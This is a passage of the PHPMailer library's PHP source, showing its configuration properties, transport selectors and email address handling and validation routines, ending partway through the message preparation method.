    protected $MIMEHeader = '';

    /**
     * Extra headers that createHeader() doesn't fold in.
     * @var string
     * @access protected
     */
    protected $mailHeader = '';

    /**
     * Word-wrap the message body to this number of chars.
     * Set to 0 to not wrap. A useful value here is 78, for RFC2822 section 2.1.1 compliance.
     * @var integer
     */
    public $WordWrap = 0;

    /**
     * Which method to use to send mail.
     * Options: "mail", "sendmail", or "smtp".
     * @var string
     */
    public $Mailer = 'mail';

    /**
     * The path to the sendmail program.
     * @var string
     */
    public $Sendmail = '/usr/sbin/sendmail';

    /**
     * Whether mail() uses a fully sendmail-compatible MTA.
     * One which supports sendmail's "-oi -f" options.
     * @var boolean
     */
    public $UseSendmailOptions = true;

    /**
     * Path to PHPMailer plugins.
     * Useful if the SMTP class is not in the PHP include path.
     * @var string
     * @deprecated Should not be needed now there is an autoloader.
     */
    public $PluginDir = '';

    /**
     * The email address that a reading confirmation should be sent to, also known as read receipt.
     * @var string
     */
    public $ConfirmReadingTo = '';

    /**
     * The hostname to use in the Message-ID header and as default HELO string.
     * If empty, PHPMailer attempts to find one with, in order,
     * $_SERVER['SERVER_NAME'], gethostname(), php_uname('n'), or the value
     * 'localhost.localdomain'.
     * @var string
     */
    public $Hostname = '';

    /**
     * An ID to be used in the Message-ID header.
     * If empty, a unique id will be generated.
     * You can set your own, but it must be in the format "<id@domain>",
     * as defined in RFC5322 section 3.6.4 or it will be ignored.
     * @see https://tools.ietf.org/html/rfc5322#section-3.6.4
     * @var string
     */
    public $MessageID = '';

    /**
     * The message Date to be used in the Date header.
     * If empty, the current date will be added.
     * @var string
     */
    public $MessageDate = '';

    /**
     * SMTP hosts.
     * Either a single hostname or multiple semicolon-delimited hostnames.
     * You can also specify a different port
     * for each host by using this format: [hostname:port]
     * (e.g. "smtp1.example.com:25;smtp2.example.com").
     * You can also specify encryption type, for example:
     * (e.g. "tls://smtp1.example.com:587;ssl://smtp2.example.com:465").
     * Hosts will be tried in order.
     * @var string
     */
    public $Host = 'localhost';

    /**
     * The default SMTP server port.
     * @var integer
     * @TODO Why is this needed when the SMTP class takes care of it?
     */
    public $Port = 25;

    /**
     * The SMTP HELO of the message.
     * Default is $Hostname. If $Hostname is empty, PHPMailer attempts to find
     * one with the same method described above for $Hostname.
     * @var string
     * @see PHPMailer::$Hostname
     */
    public $Helo = '';

    /**
     * What kind of encryption to use on the SMTP connection.
     * Options: '', 'ssl' or 'tls'
     * @var string
     */
    public $SMTPSecure = '';

    /**
     * Whether to enable TLS encryption automatically if a server supports it,
     * even if `SMTPSecure` is not set to 'tls'.
     * Be aware that in PHP >= 5.6 this requires that the server's certificates are valid.
     * @var boolean
     */
    public $SMTPAutoTLS = true;

    /**
     * Whether to use SMTP authentication.
     * Uses the Username and Password properties.
     * @var boolean
     * @see PHPMailer::$Username
     * @see PHPMailer::$Password
     */
    public $SMTPAuth = false;

    /**
     * Options array passed to stream_context_create when connecting via SMTP.
     * @var array
     */
    public $SMTPOptions = array();

    /**
     * SMTP username.
     * @var string
     */
    public $Username = '';

    /**
     * SMTP password.
     * @var string
     */
    public $Password = '';

    /**
     * SMTP auth type.
     * Options are CRAM-MD5, LOGIN, PLAIN, NTLM, XOAUTH2, attempted in that order if not specified
     * @var string
     */
    public $AuthType = '';

    /**
     * SMTP realm.
     * Used for NTLM auth
     * @var string
     */
    public $Realm = '';

    /**
     * SMTP workstation.
     * Used for NTLM auth
     * @var string
     */
    public $Workstation = '';

    /**
     * The SMTP server timeout in seconds.
     * Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2
     * @var integer
     */
    public $Timeout = 300;

    /**
     * SMTP class debug output mode.
     * Debug output level.
     * Options:
     * * `0` No output
     * * `1` Commands
     * * `2` Data and commands
     * * `3` As 2 plus connection status
     * * `4` Low-level data output
     * @var integer
     * @see SMTP::$do_debug
     */
    public $SMTPDebug = 0;

    /**
     * How to handle debug output.
     * Options:
     * * `echo` Output plain-text as-is, appropriate for CLI
     * * `html` Output escaped, line breaks converted to `<br>`, appropriate for browser output
     * * `error_log` Output to error log as configured in php.ini
     *
     * Alternatively, you can provide a callable expecting two params: a message string and the debug level:
     * <code>
     * $mail->Debugoutput = function($str, $level) {echo "debug level $level; message: $str";};
     * </code>
     * @var string|callable
     * @see SMTP::$Debugoutput
     */
    public $Debugoutput = 'echo';

    /**
     * Whether to keep SMTP connection open after each message.
     * If this is set to true then to close the connection
     * requires an explicit call to smtpClose().
     * @var boolean
     */
    public $SMTPKeepAlive = false;

    /**
     * Whether to split multiple to addresses into multiple messages
     * or send them all in one message.
     * Only supported in `mail` and `sendmail` transports, not in SMTP.
     * @var boolean
     */
    public $SingleTo = false;

    /**
     * Storage for addresses when SingleTo is enabled.
     * @var array
     * @TODO This should really not be public
     */
    public $SingleToArray = array();

    /**
     * Whether to generate VERP addresses on send.
     * Only applicable when sending via SMTP.
     * @link https://en.wikipedia.org/wiki/Variable_envelope_return_path
     * @link http://www.postfix.org/VERP_README.html Postfix VERP info
     * @var boolean
     */
    public $do_verp = false;

    /**
     * Whether to allow sending messages with an empty body.
     * @var boolean
     */
    public $AllowEmpty = false;

    /**
     * The default line ending.
     * @note The default remains "\n". We force CRLF where we know
     *        it must be used via self::CRLF.
     * @var string
     */
    public $LE = "\n";

    /**
     * DKIM selector.
     * @var string
     */
    public $DKIM_selector = '';

    /**
     * DKIM Identity.
     * Usually the email address used as the source of the email.
     * @var string
     */
    public $DKIM_identity = '';

    /**
     * DKIM passphrase.
     * Used if your key is encrypted.
     * @var string
     */
    public $DKIM_passphrase = '';

    /**
     * DKIM signing domain name.
     * @example 'example.com'
     * @var string
     */
    public $DKIM_domain = '';

    /**
     * DKIM private key file path.
     * @var string
     */
    public $DKIM_private = '';

    /**
     * DKIM private key string.
     * If set, takes precedence over `$DKIM_private`.
     * @var string
     */
    public $DKIM_private_string = '';

    /**
     * Callback Action function name.
     *
     * The function that handles the result of the send email action.
     * It is called out by send() for each email sent.
     *
     * Value can be any php callable: http://www.php.net/is_callable
     *
     * Parameters:
     *   boolean $result        result of the send action
     *   array   $to            email addresses of the recipients
     *   array   $cc            cc email addresses
     *   array   $bcc           bcc email addresses
     *   string  $subject       the subject
     *   string  $body          the email body
     *   string  $from          email address of sender
     * @var string
     */
    public $action_function = '';

    /**
     * What to put in the X-Mailer header.
     * Options: An empty string for PHPMailer default, whitespace for none, or a string to use
     * @var string
     */
    public $XMailer = ' ';

    /**
     * Which validator to use by default when validating email addresses.
     * May be a callable to inject your own validator, but there are several built-in validators.
     * @see PHPMailer::validateAddress()
     * @var string|callable
     * @static
     */
    public static $validator = 'auto';

    /**
     * An instance of the SMTP sender class.
     * @var SMTP
     * @access protected
     */
    protected $smtp = null;

    /**
     * The array of 'to' names and addresses.
     * @var array
     * @access protected
     */
    protected $to = array();

    /**
     * The array of 'cc' names and addresses.
     * @var array
     * @access protected
     */
    protected $cc = array();

    /**
     * The array of 'bcc' names and addresses.
     * @var array
     * @access protected
     */
    protected $bcc = array();

    /**
     * The array of reply-to names and addresses.
     * @var array
     * @access protected
     */
    protected $ReplyTo = array();

    /**
     * An array of all kinds of addresses.
     * Includes all of $to, $cc, $bcc
     * @var array
     * @access protected
     * @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc
     */
    protected $all_recipients = array();

    /**
     * An array of names and addresses queued for validation.
     * In send(), valid and non duplicate entries are moved to $all_recipients
     * and one of $to, $cc, or $bcc.
     * This array is used only for addresses with IDN.
     * @var array
     * @access protected
     * @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc
     * @see PHPMailer::$all_recipients
     */
    protected $RecipientsQueue = array();

    /**
     * An array of reply-to names and addresses queued for validation.
     * In send(), valid and non duplicate entries are moved to $ReplyTo.
     * This array is used only for addresses with IDN.
     * @var array
     * @access protected
     * @see PHPMailer::$ReplyTo
     */
    protected $ReplyToQueue = array();

    /**
     * The array of attachments.
     * @var array
     * @access protected
     */
    protected $attachment = array();

    /**
     * The array of custom headers.
     * @var array
     * @access protected
     */
    protected $CustomHeader = array();

    /**
     * The most recent Message-ID (including angular brackets).
     * @var string
     * @access protected
     */
    protected $lastMessageID = '';

    /**
     * The message's MIME type.
     * @var string
     * @access protected
     */
    protected $message_type = '';

    /**
     * The array of MIME boundary strings.
     * @var array
     * @access protected
     */
    protected $boundary = array();

    /**
     * The array of available languages.
     * @var array
     * @access protected
     */
    protected $language = array();

    /**
     * The number of errors encountered.
     * @var integer
     * @access protected
     */
    protected $error_count = 0;

    /**
     * The S/MIME certificate file path.
     * @var string
     * @access protected
     */
    protected $sign_cert_file = '';

    /**
     * The S/MIME key file path.
     * @var string
     * @access protected
     */
    protected $sign_key_file = '';

    /**
     * The optional S/MIME extra certificates ("CA Chain") file path.
     * @var string
     * @access protected
     */
    protected $sign_extracerts_file = '';

    /**
     * The S/MIME password for the key.
     * Used only if the key is encrypted.
     * @var string
     * @access protected
     */
    protected $sign_key_pass = '';

    /**
     * Whether to throw exceptions for errors.
     * @var boolean
     * @access protected
     */
    protected $exceptions = false;

    /**
     * Unique ID used for message ID and boundaries.
     * @var string
     * @access protected
     */
    protected $uniqueid = '';

    /**
     * Error severity: message only, continue processing.
     */
    const STOP_MESSAGE = 0;

    /**
     * Error severity: message, likely ok to continue processing.
     */
    const STOP_CONTINUE = 1;

    /**
     * Error severity: message, plus full stop, critical error reached.
     */
    const STOP_CRITICAL = 2;

    /**
     * SMTP RFC standard line ending.
     */
    const CRLF = "\r\n";

    /**
     * The maximum line length allowed by RFC 2822 section 2.1.1
     * @var integer
     */
    const MAX_LINE_LENGTH = 998;

    /**
     * Constructor.
     * @param boolean $exceptions Should we throw external exceptions?
     */
    public function __construct($exceptions = null)
    {
        if ($exceptions !== null) {
            $this->exceptions = (boolean)$exceptions;
        }
        //Pick an appropriate debug output format automatically
        $this->Debugoutput = (strpos(PHP_SAPI, 'cli') !== false ? 'echo' : 'html');
    }

    /**
     * Destructor.
     */
    public function __destruct()
    {
        //Close any open SMTP connection nicely
        $this->smtpClose();
    }

    /**
     * Call mail() in a safe_mode-aware fashion.
     * Also, unless sendmail_path points to sendmail (or something that
     * claims to be sendmail), don't pass params (not a perfect fix,
     * but it will do)
     * @param string $to To
     * @param string $subject Subject
     * @param string $body Message Body
     * @param string $header Additional Header(s)
     * @param string $params Params
     * @access private
     * @return boolean
     */
    private function mailPassthru($to, $subject, $body, $header, $params)
    {
        //Check overloading of mail function to avoid double-encoding
        if (ini_get('mbstring.func_overload') & 1) {
            $subject = $this->secureHeader($subject);
        } else {
            $subject = $this->encodeHeader($this->secureHeader($subject));
        }

        //Can't use additional_parameters in safe_mode, calling mail() with null params breaks
        //@link http://php.net/manual/en/function.mail.php
        if (ini_get('safe_mode') or !$this->UseSendmailOptions or is_null($params)) {
            $result = @mail($to, $subject, $body, $header);
        } else {
            $result = @mail($to, $subject, $body, $header, $params);
        }
        return $result;
    }
    /**
     * Output debugging info via user-defined method.
     * Only generates output if SMTP debug output is enabled (@see SMTP::$do_debug).
     * @see PHPMailer::$Debugoutput
     * @see PHPMailer::$SMTPDebug
     * @param string $str
     */
    protected function edebug($str)
    {
        if ($this->SMTPDebug <= 0) {
            return;
        }
        //Avoid clash with built-in function names
        if (!in_array($this->Debugoutput, array('error_log', 'html', 'echo')) and is_callable($this->Debugoutput)) {
            call_user_func($this->Debugoutput, $str, $this->SMTPDebug);
            return;
        }
        switch ($this->Debugoutput) {
            case 'error_log':
                //Don't output, just log
                error_log($str);
                break;
            case 'html':
                //Cleans up output a bit for a better looking, HTML-safe output
                echo htmlentities(
                    preg_replace('/[\r\n]+/', '', $str),
                    ENT_QUOTES,
                    'UTF-8'
                )
                . "<br>\n";
                break;
            case 'echo':
            default:
                //Normalize line breaks
                $str = preg_replace('/\r\n?/ms', "\n", $str);
                echo gmdate('Y-m-d H:i:s') . "\t" . str_replace(
                    "\n",
                    "\n                   \t                  ",
                    trim($str)
                ) . "\n";
        }
    }

    /**
     * Send messages using SMTP.
     * @return void
     */
    public function isSMTP()
    {
        $this->Mailer = 'smtp';
    }

    /**
     * Send messages using PHP's mail() function.
     * @return void
     */
    public function isMail()
    {
        $this->Mailer = 'mail';
    }

    /**
     * Send messages using $Sendmail.
     * @return void
     */
    public function isSendmail()
    {
        $ini_sendmail_path = ini_get('sendmail_path');

        if (!stristr($ini_sendmail_path, 'sendmail')) {
            $this->Sendmail = '/usr/sbin/sendmail';
        } else {
            $this->Sendmail = $ini_sendmail_path;
        }
        $this->Mailer = 'sendmail';
    }

    /**
     * Send messages using qmail.
     * @return void
     */
    public function isQmail()
    {
        $ini_sendmail_path = ini_get('sendmail_path');

        if (!stristr($ini_sendmail_path, 'qmail')) {
            $this->Sendmail = '/var/qmail/bin/qmail-inject';
        } else {
            $this->Sendmail = $ini_sendmail_path;
        }
        $this->Mailer = 'qmail';
    }

    /**
     * Add a "To" address.
     * @param string $address The email address to send to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addAddress($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('to', $address, $name);
    }

    /**
     * Add a "CC" address.
     * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
     * @param string $address The email address to send to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addCC($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('cc', $address, $name);
    }

    /**
     * Add a "BCC" address.
     * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
     * @param string $address The email address to send to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addBCC($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('bcc', $address, $name);
    }

    /**
     * Add a "Reply-To" address.
     * @param string $address The email address to reply to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addReplyTo($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('Reply-To', $address, $name);
    }

    /**
     * Add an address to one of the recipient arrays or to the ReplyTo array. Because PHPMailer
     * can't validate addresses with an IDN without knowing the PHPMailer::$CharSet (that can still
     * be modified after calling this function), addition of such addresses is delayed until send().
     * Addresses that have been added already return false, but do not throw exceptions.
     * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo'
     * @param string $address The email address to send, resp. to reply to
     * @param string $name
     * @throws phpmailerException
     * @return boolean true on success, false if address already used or invalid in some way
     * @access protected
     */
    protected function addOrEnqueueAnAddress($kind, $address, $name)
    {
        $address = trim($address);
        $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
        if (($pos = strrpos($address, '@')) === false) {
            // At-sign is misssing.
            $error_message = $this->lang('invalid_address') . " (addAnAddress $kind): $address";
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        $params = array($kind, $address, $name);
        // Enqueue addresses with IDN until we know the PHPMailer::$CharSet.
        if ($this->has8bitChars(substr($address, ++$pos)) and $this->idnSupported()) {
            if ($kind != 'Reply-To') {
                if (!array_key_exists($address, $this->RecipientsQueue)) {
                    $this->RecipientsQueue[$address] = $params;
                    return true;
                }
            } else {
                if (!array_key_exists($address, $this->ReplyToQueue)) {
                    $this->ReplyToQueue[$address] = $params;
                    return true;
                }
            }
            return false;
        }
        // Immediately add standard addresses without IDN.
        return call_user_func_array(array($this, 'addAnAddress'), $params);
    }

    /**
     * Add an address to one of the recipient arrays or to the ReplyTo array.
     * Addresses that have been added already return false, but do not throw exceptions.
     * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo'
     * @param string $address The email address to send, resp. to reply to
     * @param string $name
     * @throws phpmailerException
     * @return boolean true on success, false if address already used or invalid in some way
     * @access protected
     */
    protected function addAnAddress($kind, $address, $name = '')
    {
        if (!in_array($kind, array('to', 'cc', 'bcc', 'Reply-To'))) {
            $error_message = $this->lang('Invalid recipient kind: ') . $kind;
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        if (!$this->validateAddress($address)) {
            $error_message = $this->lang('invalid_address') . " (addAnAddress $kind): $address";
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        if ($kind != 'Reply-To') {
            if (!array_key_exists(strtolower($address), $this->all_recipients)) {
                array_push($this->$kind, array($address, $name));
                $this->all_recipients[strtolower($address)] = true;
                return true;
            }
        } else {
            if (!array_key_exists(strtolower($address), $this->ReplyTo)) {
                $this->ReplyTo[strtolower($address)] = array($address, $name);
                return true;
            }
        }
        return false;
    }

    /**
     * Parse and validate a string containing one or more RFC822-style comma-separated email addresses
     * of the form "display name <address>" into an array of name/address pairs.
     * Uses the imap_rfc822_parse_adrlist function if the IMAP extension is available.
     * Note that quotes in the name part are removed.
     * @param string $addrstr The address list string
     * @param bool $useimap Whether to use the IMAP extension to parse the list
     * @return array
     * @link http://www.andrew.cmu.edu/user/agreen1/testing/mrbs/web/Mail/RFC822.php A more careful implementation
     */
    public function parseAddresses($addrstr, $useimap = true)
    {
        $addresses = array();
        if ($useimap and function_exists('imap_rfc822_parse_adrlist')) {
            //Use this built-in parser if it's available
            $list = imap_rfc822_parse_adrlist($addrstr, '');
            foreach ($list as $address) {
                if ($address->host != '.SYNTAX-ERROR.') {
                    if ($this->validateAddress($address->mailbox . '@' . $address->host)) {
                        $addresses[] = array(
                            'name' => (property_exists($address, 'personal') ? $address->personal : ''),
                            'address' => $address->mailbox . '@' . $address->host
                        );
                    }
                }
            }
        } else {
            //Use this simpler parser
            $list = explode(',', $addrstr);
            foreach ($list as $address) {
                $address = trim($address);
                //Is there a separate name part?
                if (strpos($address, '<') === false) {
                    //No separate name, just use the whole thing
                    if ($this->validateAddress($address)) {
                        $addresses[] = array(
                            'name' => '',
                            'address' => $address
                        );
                    }
                } else {
                    list($name, $email) = explode('<', $address);
                    $email = trim(str_replace('>', '', $email));
                    if ($this->validateAddress($email)) {
                        $addresses[] = array(
                            'name' => trim(str_replace(array('"', "'"), '', $name)),
                            'address' => $email
                        );
                    }
                }
            }
        }
        return $addresses;
    }

    /**
     * Sets message type to HTML or plain.
     * @param boolean $isHtml True for HTML mode.
     * @return void
     */
    public function isHTML($isHtml = true)
    {
        if ($isHtml) {
            $this->ContentType = 'text/html';
        } 
        else {
            $this->ContentType = 'text/plain';
        }

    }

    /**
     * Set the From and FromName properties.
     * @param string $address
     * @param string $name
     * @param boolean $auto Whether to also set the Sender address, defaults to true
     * @throws phpmailerException
     * @return boolean
     */
    public function setFrom($address, $name = '', $auto = true)
    {
        $address = trim($address);
        $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
        // Don't validate now addresses with IDN. Will be done in send().
        if (($pos = strrpos($address, '@')) === false or
            (!$this->has8bitChars(substr($address, ++$pos)) or !$this->idnSupported()) and
            !$this->validateAddress($address)) {
            $error_message = $this->lang('invalid_address') . " (setFrom) $address";
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        $this->From = $address;
        $this->FromName = $name;
        if ($auto) {
            if (empty($this->Sender)) {
                $this->Sender = $address;
            }
        }
        return true;
    }

    /**
     * Return the Message-ID header of the last email.
     * Technically this is the value from the last time the headers were created,
     * but it's also the message ID of the last sent message except in
     * pathological cases.
     * @return string
     */
    public function getLastMessageID()
    {
        return $this->lastMessageID;
    }

    /**
     * Check that a string looks like an email address.
     * @param string $address The email address to check
     * @param string|callable $patternselect A selector for the validation pattern to use :
     * * `auto` Pick best pattern automatically;
     * * `pcre8` Use the squiloople.com pattern, requires PCRE > 8.0, PHP >= 5.3.2, 5.2.14;
     * * `pcre` Use old PCRE implementation;
     * * `php` Use PHP built-in FILTER_VALIDATE_EMAIL;
     * * `html5` Use the pattern given by the HTML5 spec for 'email' type form input elements.
     * * `noregex` Don't use a regex: super fast, really dumb.
     * Alternatively you may pass in a callable to inject your own validator, for example:
     * PHPMailer::validateAddress('user@example.com', function($address) {
     *     return (strpos($address, '@') !== false);
     * });
     * You can also set the PHPMailer::$validator static to a callable, allowing built-in methods to use your validator.
     * @return boolean
     * @static
     * @access public
     */
    public static function validateAddress($address, $patternselect = null)
    {
        if (is_null($patternselect)) {
            $patternselect = self::$validator;
        }
        if (is_callable($patternselect)) {
            return call_user_func($patternselect, $address);
        }
        //Reject line breaks in addresses; it's valid RFC5322, but not RFC5321
        if (strpos($address, "\n") !== false or strpos($address, "\r") !== false) {
            return false;
        }
        if (!$patternselect or $patternselect == 'auto') {
            //Check this constant first so it works when extension_loaded() is disabled by safe mode
            //Constant was added in PHP 5.2.4
            if (defined('PCRE_VERSION')) {
                //This pattern can get stuck in a recursive loop in PCRE <= 8.0.2
                if (version_compare(PCRE_VERSION, '8.0.3') >= 0) {
                    $patternselect = 'pcre8';
                } else {
                    $patternselect = 'pcre';
                }
            } elseif (function_exists('extension_loaded') and extension_loaded('pcre')) {
                //Fall back to older PCRE
                $patternselect = 'pcre';
            } else {
                //Filter_var appeared in PHP 5.2.0 and does not require the PCRE extension
                if (version_compare(PHP_VERSION, '5.2.0') >= 0) {
                    $patternselect = 'php';
                } else {
                    $patternselect = 'noregex';
                }
            }
        }
        switch ($patternselect) {
            case 'pcre8':
                /**
                 * Uses the same RFC5322 regex on which FILTER_VALIDATE_EMAIL is based, but allows dotless domains.
                 * @link http://squiloople.com/2009/12/20/email-address-validation/
                 * @copyright 2009-2010 Michael Rushton
                 * Feel free to use and redistribute this code. But please keep this copyright notice.
                 */
                return (boolean)preg_match(
                    '/^(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){65,}@)' .
                    '((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)' .
                    '(?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)' .
                    '([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*' .
                    '(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' .
                    '(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' .
                    '|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' .
                    '|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
                    '|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD',
                    $address
                );
            case 'pcre':
                //An older regex that doesn't need a recent PCRE
                return (boolean)preg_match(
                    '/^(?!(?>"?(?>\\\[ -~]|[^"])"?){255,})(?!(?>"?(?>\\\[ -~]|[^"])"?){65,}@)(?>' .
                    '[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*")' .
                    '(?>\.(?>[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*"))*' .
                    '@(?>(?![a-z0-9-]{64,})(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)(?>\.(?![a-z0-9-]{64,})' .
                    '(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)){0,126}|\[(?:(?>IPv6:(?>(?>[a-f0-9]{1,4})(?>:' .
                    '[a-f0-9]{1,4}){7}|(?!(?:.*[a-f0-9][:\]]){8,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?' .
                    '::(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?))|(?>(?>IPv6:(?>[a-f0-9]{1,4}(?>:' .
                    '[a-f0-9]{1,4}){5}:|(?!(?:.*[a-f0-9]:){6,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4})?' .
                    '::(?>(?:[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4}):)?))?(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
                    '|[1-9]?[0-9])(?>\.(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}))\])$/isD',
                    $address
                );
            case 'html5':
                /**
                 * This is the pattern used in the HTML5 spec for validation of 'email' type form input elements.
                 * @link http://www.whatwg.org/specs/web-apps/current-work/#e-mail-state-(type=email)
                 */
                return (boolean)preg_match(
                    '/^[a-zA-Z0-9.!#$%&\'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}' .
                    '[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD',
                    $address
                );
            case 'noregex':
                //No PCRE! Do something _very_ approximate!
                //Check the address is 3 chars or longer and contains an @ that's not the first or last char
                return (strlen($address) >= 3
                    and strpos($address, '@') >= 1
                    and strpos($address, '@') != strlen($address) - 1);
            case 'php':
            default:
                return (boolean)filter_var($address, FILTER_VALIDATE_EMAIL);
        }
    }

    /**
     * Tells whether IDNs (Internationalized Domain Names) are supported or not. This requires the
     * "intl" and "mbstring" PHP extensions.
     * @return bool "true" if required functions for IDN support are present
     */
    public function idnSupported()
    {
        // @TODO: Write our own "idn_to_ascii" function for PHP <= 5.2.
        return function_exists('idn_to_ascii') and function_exists('mb_convert_encoding');
    }

    /**
     * Converts IDN in given email address to its ASCII form, also known as punycode, if possible.
     * Important: Address must be passed in same encoding as currently set in PHPMailer::$CharSet.
     * This function silently returns unmodified address if:
     * - No conversion is necessary (i.e. domain name is not an IDN, or is already in ASCII form)
     * - Conversion to punycode is impossible (e.g. required PHP functions are not available)
     *   or fails for any reason (e.g. domain has characters not allowed in an IDN)
     * @see PHPMailer::$CharSet
     * @param string $address The email address to convert
     * @return string The encoded address in ASCII form
     */
    public function punyencodeAddress($address)
    {
        // Verify we have required functions, CharSet, and at-sign.
        if ($this->idnSupported() and
            !empty($this->CharSet) and
            ($pos = strrpos($address, '@')) !== false) {
            $domain = substr($address, ++$pos);
            // Verify CharSet string is a valid one, and domain properly encoded in this CharSet.
            if ($this->has8bitChars($domain) and @mb_check_encoding($domain, $this->CharSet)) {
                $domain = mb_convert_encoding($domain, 'UTF-8', $this->CharSet);
                if (($punycode = defined('INTL_IDNA_VARIANT_UTS46') ?
                    idn_to_ascii($domain, 0, INTL_IDNA_VARIANT_UTS46) :
                    idn_to_ascii($domain)) !== false) {
                    return substr($address, 0, $pos) . $punycode;
                }
            }
        }
        return $address;
    }

    /**
     * Create a message and send it.
     * Uses the sending method specified by $Mailer.
     * @throws phpmailerException
     * @return boolean false on error - See the ErrorInfo property for details of the error.
     */
    public function send()
    {
        try {
            if (!$this->preSend()) {
                return false;
            }
            return $this->postSend();
        } catch (phpmailerException $exc) {
            $this->mailHeader = '';
            $this->setError($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
            return false;
        }
    }

    /**
     * Prepare a message for sending.
     * @throws phpmailerException
     * @return boolean
     */
    public function preSend()
    {
        try {
            $this->error_count = 0; // Reset errors
            $this->mailHeader = '';

            // Dequeue recipient and Reply-To addresses with IDN
            foreach (array_merge($this->RecipientsQueue, $this->ReplyToQueue) as $params) {
                $params[1] = $this->punyencodeAddress($params[1]);
                call_user_func_array(array($this, 'addAnAddress'), $params);
            }
            if ((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
                throw new phpmailerException($this->lang('provide_address'), self::STOP_CRITICAL);
            }

            // Validate From, Sender, and ConfirmReadingTo addresses
            foreach (array('From', 'Sender', 'ConfirmReadingTo') as $address_kind) {
                $this->$address_kind = trim($this->$address_kind);
                if (empty($this->$address_kind)) {
                    continue;
                }
                $this->$address_kind = $this->punyencodeAddress($this->$address_kind);
                if (!$this->validateAddress($this->$address_kind)) {
                    $error_message = $this->lang('invalid_address') . ' (punyEncode) ' . $this->$address_kind;
                    $this->setError($error_message);
                    $this->edebug($error_message);
                    if ($this->exceptions) {
                        throw new phpmailerException($error_message);
                    }
                    return false;
                }
            }

            // Set whether the message is multipart/alternative
            if ($this->alternativeExists()) {
                $this->ContentType = 'multipart/alternative';
            }

            $this->setMessageType();
            // Refuse to send an empty message unless we are specifically allowing it
            if (!$this->AllowEmpty and empty($this->Body)) {
                throw new phpmailerException($this->lang('empty_message'), self::STOP_CRITICAL);
            }

            // Create body before headers in case body makes changes to headers (e.g. altering transfer encoding)
            $this->MIMEHeader = '';
            $this->MIMEBody = $this->createBody();
            // createBody may have added some headers, so retain them
            $tempheaders = $this->MIMEHeader;
            $this->MIMEHeader = $this->createHeader();
            $this->MIMEHeader .= $tempheaders;

            // To capture the complete message when using mail(), create
            // an extra header list which createHeader() doesn't fold in
            if ($this->Mailer == 'mail') {
                if (count($this->to) > 0) {
                    $this->mailHeader .= $this->addrAppend('To', $this->to);
                } else {
                    $this->mailHeader .= $this->headerLine('To', 'undisclosed-recipients:;');
                }
                $this->mailHeader .= $this->headerLine(
                    'Subject',
                    $this->encodeHeader($this->secureHeader(trim($this->Subject)))
                );
            }

            // Sign with DKIM if enabled
            if (!empty($this->DKIM_domain)
